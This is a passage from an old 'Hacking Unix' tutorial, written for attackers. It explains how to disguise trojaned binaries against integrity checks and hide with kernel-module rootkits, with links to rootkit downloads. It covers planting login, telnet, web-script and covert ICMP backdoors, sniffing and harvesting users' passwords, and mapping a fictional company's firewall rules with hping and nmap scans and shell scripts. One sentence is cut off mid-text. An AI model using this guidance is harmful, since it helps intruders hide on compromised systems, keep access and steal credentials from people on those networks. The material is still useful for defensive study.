In case of ps and top it will hide processes, like password crackers, network sniffers, attackers' login process.
In case of netstat it will hide connections and backdoor-servers.

When you have installed the rootkit, check if the creation and modification date is the same as the original, so it will be harder to see it's not a legitimate binary. You can also use a file resizer to change the size of the trojaned binary to that of the original. Allright, the trojaned binary is obviously bigger than the original, but you can strip symbols from the trojaned one using 'strip', and then pad it with garbage till it is exactly the same size as the original for example, or use your assembly skills to shrink it.

But then still you can't do much against programs like tripwire.

*{*
*Programs like tripwire use cryptographic hash signatures that can verify if a binary is legit.*
*}*

### 3.4.3 Kernel modules

An alternative to trojaned binaries are loadable kernel modules. Kernel modules work like device drivers at kernel level, and are loaded during runtime. They can intercept system calls and through this method hide information, which is interesting to us of course.
Kernel modules are harder to detect than trojaned binaries because they don't modify existing binaries. But they can be detected by specific tools, but as far as I know, they only scan for *known* LKM rootkits (so code your own :)).

More information on kernel modules (and rootkits):

```
http://www.w00w00.org/files/articles/lkmhack.txt            // Linux LKM Tech
http://www.thehackerschoice.com/papers/LKM_HACKING.html     // Linux LKMs; nearly complete reference
http://www.thehackerschoice.com/papers/bsdkern.html         // BSD LKMs; attacking FreeBSD
http://www.thehackerschoice.com/papers/slkm-1.0.html        // Solaris LKMs; attacking Solaris
http://phrack.org/show.php?p=58&a=6                         // Advances in Linux kernel hacking
```

Real-life modules:

```
http://www.neuralcollapse.f2s.com/files/Synapsys-lkm.tar.gz // Linux lkm
http://www.pkcrew.org/tools/Rial.c                          // Linux lkm
http://packetstormsecurity.org/groups/thc/slkm-1.0.tar.gz   // Solaris lkm
http://www.team-teso.net/releases/adore-0.42.tgz            // my favorite Linux LKM
```

## 3.5. Installing backdoors

So we have wiped the logs, we have hidden our presence and uploaded the toolbox. We still have to make sure we can get back in. That is; we need to place one or more backdoors into the system.
Some more common backdooring techniques will be discussed in this chapter.

*{*

*"Some more common" means that not even half of the techniques are introduced, this is because I think the number of backdooring techniques are only limited to your imagination. When you have full-access to a system, almost anything becomes possible.*

*}*

Local, and remote backdoors are explained.

*{*

*Remote backdoors are individual programs and can be directly interacted with remotely.*
*Local backdoors use existing services which are backdoored.*

*}*

### 3.5.2 Basic Local backdoors

You could simply trojan the login or telnet binary to give you a rootshell when you type in some magic string.

e.g.:

```
-------------------
# telnet victim.tv
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
login: THE_MASTER
Telnetd: I'm at your service sir!
victim#
-------------------
```

Obviously, this extra feature into telnet is not programmed to log your visit, in fact it might also automatically instruct some local LKM rootkit to hide your process and more.
And of course any service with root privilege is a subject for being trojaned this way.

### 3.5.3 Basic remote backdoors

You may have worked with windows backdoors; netbus, bo or that modified netcat-nt backdoor which pipes a cmd shell for use on NT boxes.
For a Unix environment you could write backdoor that forwards shell commands to the shell, and returns the results through TCP or UDP connections.

The basic remote backdoors are the easiest and most effective way to backdoor a system, but at the same time not very stealthy. A simple portscan reveals the open port, and might be easily recognized by an admin as a non-service. Of course your backdoor could listen on a port that is less likely to raise suspicions (like not using port 1337 or 31337), or use other techniques to let the admin think it is a legitimate and required service (emulating a well-known service or something). Or you could put it on a port, where you would normally find a well-known service.

But despite all this, it's not a very elegant method.

## 3.5.4 Advanced backdooring

In this paragraph I introduce some more advanced techniques used to get back in to a system.

### 3.5.1 Covert channels

Communication is done through packets. They contain the actual data to be transferred along with a header with the details about the content of the packet. The header contains standard fields and some optional fields with information. Some of these fields can contain random data without the risk of creating an illegal packet. As you may have guessed, a backdoor could communicate with a backdoor client through the use of these covert channels.

One of the protocols that can be targeted is ICMP, through the use of the data section (where normally timing information is put) of ICMP ECHO REQUEST and ICMP ECHO REPLY packets (the kind that PING uses).
Details about using ICMP for tunneling is detailed in white papers released in phrack:
http://www.phrack.org/phrack/49/P49-06
http://www.phrack.org/phrack/51/P51-06

It also contains source code of a backdoor using this kind of tunneling.
The use of such techniques prevents your backdoor from being detected using regular portscanning techniques, it also won't show up in netstat.

A disadvantage is that this kind of tunneling is not very reliable for communication.

### 3.5.4.2 Webapplication backdoors

I could imagine you writing a simple PHP or CGI script that accepts commands, it could execute these through a SUID shell (a /bin/sh with root privilege). This way you can bypass firewalls that may exist without having to change ruleset. It is also reliable, but may also be discovered by a good sysadmin.

### 3.5.4.3 Others

I can come up with other types of backdoors. Like a backdoor that doesn't listen to incoming connections, but one that connects to your server...  (which might help when bypassing firewalls which filter only incoming connections). You could write an apache module that is a backdoor. You could even put a security problem in a service application so you can get back in for example, just use your imagination!

## 3.6. Spy!

Spy on the users! Any information from people using the system might help you attacking other systems. From one system you can get into other systems on that network but also on others. Maybe the sysadmin uses the same password everywhere, so check where he connects to and have a look there ;^).

### 3.6.1 Sniffers

A sniffer is a program that puts a network device into promiscuous mode, which means that it tells the network device to forward any traffic that physically passes the wire. The sniffer then translates traffic to more human-friendly format. Some sniffers only sniff packet headers (used for network debugging), and some also grab packet contents, this includes passwords etc. When people on the system use telnet, ftp, smtp, pop etc. the information is plaintext *not ciphered!* and you gather lots of new logins/passwords which can be used to crack other systems.

### 3.6.2 Other stuff

Just walk through the target system and you will discover much more information. Sometimes you find plaintext shell script that contain passwords, you can check history files like (.bash_history) which might reveal interesting information, databases with plaintext passwords... anything!

# - HACKING UNIX -
# CHAPTER FOUR:

## Dealing with Firewalls

## 4.1. - Introduction

Users on an internal network may need to access other networks in an interconnected environment. An organization may want to restrict access to the Internet and will especially want to restrict access from the untrusted Internet into the internal network. Firewalls are used to control network activity between the interconnected networks.
Therefore an administrator creates a policy based on information about the services that users need to access on the external network and the services on the internal network requiring access from the outside of the network. It is also possible to restrict access into the internal network to a certain part of the external network and vise-versa.
Using the policy, the ruleset is defined and applied to a firewall placed between the two networks. A firewall is only effective if users are forced to access the external network through the firewall (and vise-versa). When a computer on the internal network has a modem it may be possible to access the external network through a dial-up connection completely bypassing the policy.
In this part you'll be introduced to the techniques hackers use to deal with firewalls.

## 4.2. Packet Filtering Firewalls

In this chapter I discuss where and how firewalls are used. Chapter 3 generally explains how a firewall works and later on we'll focus on ``dealing with packet filters''.

Packet filters have a ruleset defined by the administrator. The packet filter often operates at kernel-level and checks the header* on the packet to see where it's heading. It than looks for these targets in it's ruleset and decides it's fait. The packet can be discarded or accepted in different ways, or it may trigger another action (for example to accept the packet to pass through but to log the event).

*{*

*A header is like an envelope that sets the receiver (and sender). On network-packets we have multiple envelopes (headers) that together form the exact destination (it is layered).*

*}*

In the case of the internet most packet filters operate on IP and TCP level. IP specifies the host the packet is heading to, TCP identifies the program that the packet is destined for.

### 4.2.1 A practical example.

We'll follow the process the administrator of TotallySecure Inc. takes for defining a packet filtering ruleset.
The first smart rule the administrator defines looks like this:

```
Source: Anywhere
Destination: Anywhere
Protocol: Any
Destination port: Any
Policy: DENY
```

The next thing the administrator does is to identify the exceptions to this base rule.

*{*

*Note that there are also administrators that at first ACCEPT everything and then close some ports. This is the wrong way of thinking.*
*Security can only be brought to the max. when you first disable everything and then enable some required features. And that goes for almost any element of a system.*

*}*

An administrator may have a mailserver inside the organizations network. The mail is delivered from and to the mailserver through the SMTP service (for example sendmail or qmail). The administrator knows that the SMTP service must be reachable from the internet to be able to receive mail.
So the administrator defines a new rule (exception on the first rule):

```
Source: External (Internet)
Destination: Internal mailhost
Protocol: TCP
Destination Port: 25 (SMTP)
Policy: ACCEPT.
```

Meaning that any packets from any address destined for the SMTP service (TCP port 25) on the mailhost will be forwarded to the appropriate direction.

The administrator grants all systems on the internet to deliver e-mail to users' mailboxes. He does not have to define a rule for the internal network. The users just need to connect to the mailserver, not to a mailserver outside the internal network, so he'll only need to make an exception for SMTP from the mailhost:

```
Source: Internal mailhost
Destination: External (Internet)
Protocol: TCP
Port: 25
Policy: ACCEPT.
```

The next thing the administrator wants is to allow users to receive their mail from their mailbox on the mailserver using the POP3 protocol. The administrator prefers to DENY access to the POP3 service from the internet side. He asks several users if they *have to* retrieve their mail from anywhere outside the organization and finds out it's safe to block access to this server from the internet-side for POP3 access.

He knows he won't need to change the firewall rules as this is no exception to the first rule, although he just adds it to his note for reference:

```
Source: External
Destination: Internal
Protocol: TCP
Destination Port: 110 (POP3)
Policy: DENY.
```

The administrator realizes the simple fact that users need to use HTTP access to the internet. He can simply ACCEPT outgoing HTTP traffic or further restrict this access using a proxy server (in the last case he only needs to allow outgoing HTTP from the proxy server).

He decides the last method is more secure. He installs a HTTP/HTTPS/FTP proxy all-in-one solution. The proxy server runs on port 8080 and needs only to be accessed from the internal network. So incoming traffic to port 8080 can safely be blocked. He sets up a LAN for the users behind the proxy server. He adds a second network card to the mailserver so that the mailserver is accessible on the LAN as well as from the internet.

The first rule he adds is to allow outgoing FTP/HTTP/HTTPS from the proxyserver:

```
Source: Internal proxy-server
Destination: External
Protocol: TCP
Destination Port: 21 (FTP), 80 (HTTP), 443 (HTTPS)
Policy: ACCEPT.
```

The administrator has now defined all rules he thinks are necessary. Next the administrator goes on with adding spam- and virusblocking to his mailserver etcetera.

## 4.3. How does the packet filter work.

### 4.3.1 Introduction

Network packets come into the network card which are then received at the kernel of the operating system. If the operating system is setup as a router it reads the packet and knows where to send the packet to. When a firewall is installed it has the ability to read the packets and the possibility to do something with it. It can drop (discard) the packet, refuse (block, reject) the packet, accept the packet for further processing or manipulate mangle) the packet. All these decisions are based on the information in the protocol's header which are matched against filter rules.

I haven't explained the difference between dropping a packet and refusing (blocking) a packet. A dropped packet is simply thrown away (discarded) and the sender of that packet receives no notice. Rejecting (refusing) a packet means discarding the packet and replying with a TCP RST packet, the same response as it gets when you would try to open a connection to a non-existing port. Of course this rejecting only takes place when there are specific flags set. To fully understand this you should read RFC 793 (TCP) and RFC 791 (IP).

### 4.3.2 Stateless or Stateful.

A stateless firewall is very basic, it may simply check destination and source address, destination port and source port and decide what to do with it.

A stateful packet filter keeps track of a connection and has the ability to do some meaningful packet manipulation. For example Network Address Translation (NAT), where protocol information can be changed before it is forwarded. This is used for example to make an internal host (with a private-range IP-address) addressable from the internet.

Stateful packet filters can also have protocol helpers, which can be used to make a protocol work through a firewall by manipulating the application-level-data that the packet contains or anything more creative.

## 4.4. Dealing with Firewalls.

### 4.4.1 Introduction

Firewalls itself are not a target for our attacks. This may sound obvious but this is exactly what is suggested when saying ``how can I break security?'' or more explicitly ``how can I break through a firewall''. It is not about breaking security it is about taking advantage of insecurity elsewhere. More intelligent people do know this but still talk about 'breaking security' which is plain wrong. That's why I called this part "Dealing with Firewalls" and not "Breaking Firewalls". Although, there have been occasions where the firewall software itself introduced new vulnerabilities. And some (older) firewalls may simply not work well, but you'll see that. At first we will concentrate on a different way to get around firewall restrictions anyway.

So we are going to *deal* with the firewalls and we will find out a different way to defeat or bypass them.

### 4.4.2 2D discovery of a firewall ruleset

In this paragraph I will explain some techniques useful to map a firewalls ruleset. This information is very useful for later stages of attack. For example, you will already know how your backdoor needs to be configured, or what kind of backdoor you will need. You may also need the information for some kid of attacks on systems behind the firewall. We are not going to focus on compromising the firewall initially because it is probably secure enough, however, if it is vulnerable to remote attack we'll find out anyway.

company deserves the name it has. Note that this stage should be part of the information gathering stage discussed in part 2.

John first sends a harmless ping addressed to the webserver:

```
# ping www.totallysecure.org
PING www.totallysecure.org (123.123.123.123): 56 octets data

--- www.totallysecure.org ping statistics ---
12 packets transmitted, 0 packets received, 100% packet loss
#
```

John knows there must be a some device in the way that drops the ICMP (ping)  ECHO REQUEST packets, although he knows it doesn't have to be the webserver itself.

Next, John wants to know if some ports are also being filtered (dropping incoming connections on certain ports). Administrators often rather filter ports and protocols instead of blocking them because the host appears to be offline. With the knowledge that a closed port needs to respond with an RST/ACK packet when sending a SYN packet to it, he could see if the firewall is filtering ports. He'll use the program 'hping' to discover this (found at http://www.hping.org/):

```
# hping www.totallysecure.org -S -p 85
HPING www.totallysecure.org (eth0 123.123.123.123): S set, 40 headers + 0 data bytes

--- www.totallysecure.org hping statistic ---
10 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#
```

The -S switch indicates the SYN flag to be set and the -p flag specifies the destination port. No response at all, it must be filtered too. Now, if this firewall is intelligent in anyway, it will also drop any loose ACK packets to that port. The normal behavior when sending a lonesome ACK packet to a port is to receive an RST response. Now if the firewall is not that smart it may only block SYN (for connection synchronization) packets to that port. If we receive an RST packet after sending an ACK packet to port 85 it indicates that it's a very basic firewall.

```
# hping www.totallysecure.org -A -p 85
HPING www.totallysecure.org (eth0 123.123.123.123): A set, 40 headers + 0 data bytes

--- www.totallysecure.org hping statistic ---
4 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#
```

No response at all, okay it's probably filtered properly. Note that the ACK packets send to unfiltered ports (whether open or closed) always return an RST packet. You can not determine if a port is open or closed.

Now, it is not important which port we used for this action (85), aslong as we think it is probably not in use. It is this clue that may make us think that the host has filtered all ports and made exceptions to specific ports that require to be open (like the webserver). At least we may conclude that because it is very unlikely port 85 is in use, as no well-known service has this port assigned as yet. How do I know this?

```
# grep 85 /etc/services
#
```

So if the admin is filtering a port that isn't in use, why wouldn't he filter all ports that aren't in use? So John may assume now that the administrators first rule was to DROP any connection on incoming ports, at least from the outside (the Internet). No ordinary backdoor could be installed on the firewall without changing the ruleset if the firewall works properly. Knowing that this packet filter also filters ACK packets, we can later on scan all ports with ACK packets to make sure everything is filtered.

There is another a way to see if the firewall is filtering properly, this is done by testing it with fragmented packets. Fragmented packets are normally used to send packets over networks with a low Maximum Transmission Unit (MTU). Fragments can be this small that even the header is split up into multiple packets. Some firewalls fail at blocking such packets as they don't have the complete header, and they don't wait to collect all fragments for reconstruction.

John performs a simple test against www.totallysecure.org with Fyodor's Nmap tool:

```
# nmap -sS -p85 -f www.totallysecure.org -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on www.totallysecure.org (123.123.123.123):
Port       State       Service
85/tcp     filtered    unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 36 seconds
#
```

He uses the -f switch to fragment the packet, -P0 to tell Nmap not to check if the host is up (as PINGs don't pass through, Nmap will otherwise think the host is down), -sS to do a SYN scan. As it turned out, Nmap split the packet in 6 fragments, as seen with a header sniffer. We could do this scan with ACK packets as well.
What if we send packets with no flags at all? A so-called NULL scan should return RST packets if the port is closed, and no result if the port is open. It is this why this scan is not really reliable, because this type of scan indicates a port being open if it is filtered (dropped).
The problem is that Windows systems return an RST packet even if the port is open (against the specification) and so this scan is not usable to scan Windows systems. But it is still useful against Windows systems for testing the firewall ruleset, the same way as using ACK packets.

For UNIX systems it is useful if we have to deal with a basic firewall that only blocks SYN packets. Because then we already know what port the firewall is supposed to filter. Then we use a ACK scan to determine if the firewall is a basic one. Then we use the NULL scan to see if the port being filtered is actually open or not. For example:

Step 1:

```
# nmap -sS -p110 www.totallysecure.org -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on www.totallysecure.org (123.123.123.123):
Port       State       Service
110/tcp     filtered    pop3

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
#
```

Step 2:

```
# nmap -sA -p110 www.totallysecure.org -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
The 1 scanned port on www.totallysecure.org (123.123.123.123) is: UNfiltered
```

```
Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
#
```

Step 3:

```
# nmap -sN -p80 www.totallysecure.org -P0

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ )
Interesting ports on www.totallysecure.org (123.123.123.123):
Port       State       Service
110/tcp     open        pop3


Nmap run completed -- 1 IP address (1 host up) scanned in 12 seconds
#
```

See, in case the admin used a basic packetfilter, we just found out the POP3 service is open but filtered. If that didn't succeed, we should also try in conjunction with the fragmentation option (-f). This knowledge may introduce the idea that the port must somehow be in use, maybe only to serve internal network users. Otherwise the administrators is to lazy to turn off the POP3 service.

Using the above techniques, John has a basic idea of the type of firewall being used. In this case John concludes www.totallysecure.org is secured by one or more firewalls that drop incoming connections on filtered ports. The firewall is not vulnerable to fragmented packets nor is it a basic firewall that chases after SYN packets only. John continues finishing his 2D view of the webserver by doing the SYN, ACK and NULL scans against all the 65535 possible ports during the period of about month (not raise too much suspicion).

The 2D map results in:

Protocol ICMP: dropped
All TCP ports dropped except port 80.

John has both gathered information on the open/closed ports and the firewall configuration. He did it in a non-intrusive and stealthy manner. The next questions John wants to investigate are:

- is the firewall on the same site as the webserver?
- how many firewalls are there?
- where are the firewalls located?

This is what I call a 3D mapping. A 2D mapping maps all obstacles in the way to a target, no knowledge of distance are known. In a 3D map John knows on which systems services are available and where packets are filtered.

### 4.4.3 - 3D mapping of a firewall ruleset

What I call -3D mappings- are a series of probes and information gathering methods that result a visual map. It is used to determine which sites provide which services while figuring out why it is setup that way along with the location of where packets are filtered. Combining this information with the 2D mapping results a detailed report of the physical configuration as well the logical configuration and why it works that way.

Again, we'll follow John the hacker in his info gathering stage with TotallySecure Inc. being his target.

In the 2D mapping stage John learned that (probably all) ICMP type packets don't pass through. In this stage John wants to know which device along the way is blocking it. Now how does he do that? He's about to use a series of traceroute-type probes to determine the site that's blocking these packets. First things first, John writes a quick shell script for determining the location of the ICMP filter:

```
--- trace_icmp.sh ---
#!/bin/sh
# determine ICMP filter location

cnt=1
while [ $1 ] ; do
   echo hop \#$cnt:
   hping -1 -c 1 -t $cnt $1
   let cnt=cnt+1
   sleep 1
done
--- end ---
```

John is now able to determine where the packet is filtered.

```
--- determine IP address ---

# nslookup www.totallysecure.org
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   www.totallysecure.org
Address: 123.123.123.123

#

--- end ---
```

John first looks up the IP address so hping won't have to look it up itself every time.

```
--- trace icmp filter ---

bash-2.05a# ./trace_icmp.sh 123.123.123.123
hop #1:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
TTL 0 during transit from IP=100.100.100.1 name=gateway.attackers.org

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
hop #2:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
TTL 0 during transit from IP=100.100.1.1 name=gateway.hackerisp.org

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

....
....
....
....

hop #18:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes

--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
```

```
round-trip min/avg/max = 0.0/0.0/0.0 ms
hop #19:
HPING 123.123.123.123 (eth0 123.123.123.123): icmp mode set, 28 headers + 0 data bytes
ICMP Packet filtered from IP=123.123.1.1 name=UNKNOWN

--- end ---
```

Now this makes sense, the filter that filtered the ping packets was not the one on the webserver... but a gateway at hop #19. Next John wants to know on which hop the webserver is. How does he figure that out? Simple:

```
--- trace_tcp.sh ---
#!/bin/sh

cnt=1
while [ $1 ] ; do
   echo hop \#$cnt:
   hping -S -p $2 -c 1 -t $cnt $1
   let cnt=cnt+1
   sleep 1
done

--- end ---
```

How could you use this script? Well, just pick a port that you know is open, John will use port 80. Then this script can be used to determine the number of hops until the port 80 has been reached.

Let's see John in the act:

```
--- trace count hops to destination ---

bash-2.05a# ./trace_tcp.sh 123.123.123.123 80
hop #1:
HPING 123.123.123.123 (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
TTL 0 during transit from IP=100.100.100.1
--- 123.123.123.123 hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

....
....
....
....

hop #21:
HPING 123.123.123.123 (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
len=46 IP=123.123.123.123 flags=SA DF seq=0 ttl=63 id=0 win=5840 rtt=575.6 ms

--- end ---
```

John learned that there is a packet filter filtering ICMP packets at hop 19, and the webserver is at hop 21. That's interesting, so the second gateway from the webserver is filtering ICMP packets. It may also be possible that the first gateway before the webserver is also filtering ICMP, but that doesn't matter.
Next John wants to know if all ports are firewalled by that firewall. So he does another probe:

```
---
# hping -A -p 85 -c 1 -t 19 www.totallysecure.org
HPING www.totallysecure.org (eth0 123.123.123.123): A set, 40 headers + 0 data bytes
TTL 0 during transit from IP=123.123.123.1 name=UNKNOWN

--- www.totallysecure.org hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#
--- end ---
```

Nope, we receive an ICMP port unreachable at least port 85 is not filtered
at the same address as ICMP is filtered.

Now there are only two options: the packet is filtered at the gateway just
before the webserver, or on the webserver itself:

```
--- determining where port 85 is filtered  ---

# hping -A -p 85 -c 1 -t 20 www.totallysecure.org
HPING www.totallysecure.org (eth0 123.123.123.123): A set, 40 headers + 0 data bytes

--- www.totallysecure.org hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
#

--- end ---
```

Port 85 is filtered at the gateway before the webserver. Let's see which address this gateway has:

```
--- resolving gateway address ---

# hping -S -p 80 -c 1 -t 20 www.totallysecure.org
HPING www.totallysecure.org (eth0 123.123.123.123): S set, 40 headers + 0 data bytes
TTL 0 during transit from IP=123.123.123.1 name=UNKNOWN

--- www.totallysecure.org hping statistic ---
1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

#

--- end ---
```

As we already knew, it is 123.123.123.1 that is firewalling this port.

John continues his probing work and finds out the following:

123.123.1.1 (hop 19) filters: ICMP, TCP port 31337
123.123.123.1 (hop 20) filters: All TCP ports except port 80

John considers that TotallySecure Inc. owns the whole 123.123.123.0 segment, and that 123.123.123.1 is their own firewall. 123.123.1.1 is probably the gateway of their ISP (Internet Service Provider).

John draws the following 3D map:

```
*******************
# 123.123.123.123 #
*******************
_________|_____________|_____________|_____________|_____________|__
                         |
                 *****************
                 # 123.123.123.1 #
                 *****************
___________|_____________|_____________|_____________|______________
                                 |
                          ***************
                          # 123.123.1.1 #
                          ***************
                                 |
                                ***
                             ***   ***
                         **** INTERNET ****
                             ***   ***
                                ***
```

John believes that TotallySecure Inc.'s network must have a mailserver that's in the 123.123.123.0 segment. So how could he verify this? Simple:

```
--- lookup mailserver ---

# host -t mx totallysecure.org
totallysecure.org mail is handled by 100 relay1.bizznet.com.
totallysecure.org mail is handled by 50 mail.totallysecure.org.
#

--- end ---
```

Aha, two mail handlers, one appears to be the one of the ISP, and one probably operated by totallysecure themselves.

```
# host relay1.bizznet.com
relay1.bizznet.com has address 123.123.1.65
# host mail.totallysecure.org
mail.totallysecure has address 123.123.123.80
#
```

John draws the new 3D map:

```
  *******************            ******************
  # 123.123.123.123 #            # 123.123.123.80 #
  *******************            ******************
  _________|_____________|_____________|_____________|_____________|__
                           |
                   *****************           ****************
                   # 123.123.123.1 #           # 123.123.1.65 #
                   *****************           ****************
  ___________|_____________|_____________|_____________|______________
                                   |
                            ***************
                            # 123.123.1.1 #
                            ***************
                                   |
                                  ***
                               ***   ***
                           **** INTERNET ****
                               ***   ***
                                  ***
```

The firewall only passes port 80 traffic if the destination is the webserver, and port 25 only if the destination is the mailserver. Very smart! John continues to fill in the above geographical map with this information and the gathered information from the 2D mapping.
Note that the 3D mapping thing includes a technique called 'Firewalking' discovered by Mike D. Schiffman and David E. Goldsmith. They also wrote a program called 'Firewalk' to bring this technique to the public. You can more information on it here: http://www.packetfactory.net/Projects/firewalk/

John continues to scan all 255 possible hosts behind the firewall, but comes up with no new results.

## 4.5. Using the gathered information

John knows that this packet filter is set up fairly restricted:

- John sees no possibility to compromise the firewall itself
- John can't use no classic inbound backdoor when exploiting weaknesses in a system behind the firewall
- No ICMP channel available

In later stages when John is able to compromise one of the servers behind the firewall (either through active attack on the mailserver or attack on the webserver), he won't be able to use a classical inbound backdoor.

To play it safe, John needs to trojan or patch either the mailserver software or the webserver. Another way is to use a reverse connecting backdoor, that connects to a local server on your system instead of the reverse. But that would not be very smart, as the backdoor would require to know the address of his attacking host, also outgoing traffic may be restricted too.

A backdoor on the webserver could be a server-side script that can execute things through a webinterface. Or a special module, or a real patch of the webserver which can be controlled through specially crafted requests. Otherwise, the mailserver needs to be patched.
He could also create an automated program which works like a worm that compromises the whole network behind the firewall and leaks information back to John, which would require John to guess what vulnerabilities could be exploited behind the firewall.

# - HACKING UNIX - CHAPTER FIVE:

# Passive network attacks

## 5.1. Introduction

So far we've been using knowledge about network protocols for information gathering. In this part I will introduce you to using weaknesses in networks for merely passive attacks.

*{*

*A passive attack - unlike an active attack - does not (or less) require the attacker to induce an exploit condition. In a passive attack the attacker waits for the victim to make itself vulnerable.*

*}*

We will exploit these weaknesses to cause denial of service or remote compromise of our target host.

## 5.2. Sniffing shared networks

### 5.2.1 Introduction

You have probably already heard of the term `sniffing'. Sniffing - when used maliciously - is a passive attack method. Sniffing will be discussed first because sniffing will be used later for other attacks.

Sniffing basically is capturing network packets on the network. The network packets of course can contain valuable information. Based on what information we want to sniff we divide sniffing in two categories: header sniffing and data sniffing.

Header sniffing is usually used for network problem analyses purpose or to learn more about network protocols.

*{*

*A header means `protocol header of a packet'. A header is like an envelope with addressing information and some other information of a specific protocol. This has been discussed in part 2 of Hacking Unix. Header sniffing is displaying information from packet headers.*

*}*

With header sniffing one can keep track of the sort of connections and messages that pass the wire.

Data sniffing is almost always used for malicious purpose. Data sniffing means capturing the payload (content) of each packet. For example, a sniffer program may be able to record files being exchanged through FTP data sessions, or email. But more likely a hacker will use a password sniffer, which is also sort of a data sniffer that captures logins and passwords of most well-known protocols (FTP, POP, TELNET).

*{*

*Dsniff is a well-known data and password sniffer. You can get it at:*
*http://naughty.monkey.org/~dugsong/dsniff/*

*}*

### 5.2.2 Sniffer construction

A typical sniffer program uses two key things:

* Raw socket
* Promiscuous (optional) network interface

A sniffer registers a raw socket, which gives the sniffer access to all packets that arrive at the kernel (the operating system). A socket is an interface for the program and the kernel's network subsystem to communicate with each other (network packets). When a program registers a raw socket, this means that the kernel will send all packets it receives to the raw socket as well.

A raw socket is opened with the socket() call with `SOCK_RAW' as `Type' argument. I.e.: socket( AF_INET, SOCK_RAW, 0 );

*{*

*Only a privileged user can open a raw socket*

*}*

A network interface only passes packets destined to itself (it's adapter address(MAC)) to the kernel (by default). Unless the network adapter is set to `promiscuous mode'.

*{*

*Only a privileged user can set the network device to promiscuous mode.*

*}*

In Linux you can set the device in promiscuous mode using the ifconfig command in this way:

```
ifconfig <interface> promisc
```

If your interface is eth0 you can do:

```
ifconfig eth0 promisc
```

How a sniffer program can open a network device in promiscuous mode will be discussed later.

When the network device is in promiscuous mode, all data that goes over the wire will be forwarded to the operating system. The kernel forwards the packets to it's own IP module and to any open raw sockets. A malicious (privileged) user or simply the admin can monitor all unencrypted traffic that passes the wire.

When you are on a shared network architecture like a ring, bus or hubbed star network, you will be able to sniff all the data that is on the LAN. In a switched network, the switches know (learn) on which line (or `port') every host is, and will send packets directly to the destination, which means that each host should only receive packets destined to itself. A switch improves security a little and increases network performance. There are techniques to make the switch leak packets to the wrong lines which will be discussed later.

Sniffers are hard to detect because it is a passive `attack' method. There are methods to detect sniffers locally as well as remotely which will be discussed in *chapter 2.3.* A sniffer registers a raw socket. Raw sockets allow for user-space processing of packets. They could be used to development new low-level protocols in userspace for example. A normal network application doesn't have to take care of lower level protocol details, the kernel's networking stack does all this.

*{*

*Programmers talk about "networking stack" or "TCP/IP stack" because of the layered model that together form a stack.*

*}*

The application receives the data send by the connected remote application from the kernel using simple read() or recv() calls. The socket is the interface between the kernel's TCP/UDP/IP (or whatever) stack and the userspace application. A raw socket in contrary has access to all packets that travel by. Which is why only a privileged process can open a raw socket.
A raw socket programmer needs to have fairly good understanding of protocol details. Information on how to handle the different protocols can be found in their corresponding RFC's and in your operating system's header files.

*{*

> *For non-programmers; "Header files" of course have nothing to do with "protocol headers". "Header files" or "include files" define data types and functions available in the operating system's library which the program will be linked with.*

*}*

The operating system's header files define data structures for various protocols which we can use to process various protocols.For example, here's the IP header structure from the netinet/IP.h include:

```
/*
 * Structure of an internet (IP) header, naked of options.
 */
struct IP
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int IP_hl:4;               /* header length */
    unsigned int IP_v:4;                /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
    unsigned int IP_v:4;                /* version */
    unsigned int IP_hl:4;               /* header length */
#endif
    u_int8_t IP_tos;                    /* type of service */
    u_short IP_len;                     /* total length */
    u_short IP_id;                      /* identification */
    u_short IP_off;                     /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
    u_int8_t IP_ttl;                    /* time to live */
    u_int8_t IP_p;                      /* protocol */
    u_short IP_sum;                     /* checksum */
    struct in_addr IP_src, IP_dst;      /* source and dest address */
  };
```

For a sniffer program you can just #include this file, so you don't have to study the RFC again. You can conveniently map the packet into the structure, you just make a pointer with the type of that structure and point it to the beginning of the IP header, which is calculated like this:

```
  /* make pointer to IP header */
  IP = (struct IP*)(packet + sizeof(struct ether_header));
```

Herein, `packet' is a pointer to the packet. The packet looks like this in memory:

```
                      FFh
    --------------------
    | Application data |
    --------------------
    | TCP Header       |
    --------------------
    | IP Header        |
    --------------------  <- (const struct IP *IP)
    | Ethernet Header  |
    --------------------  <- (const u_char *packet)
                      00h
```

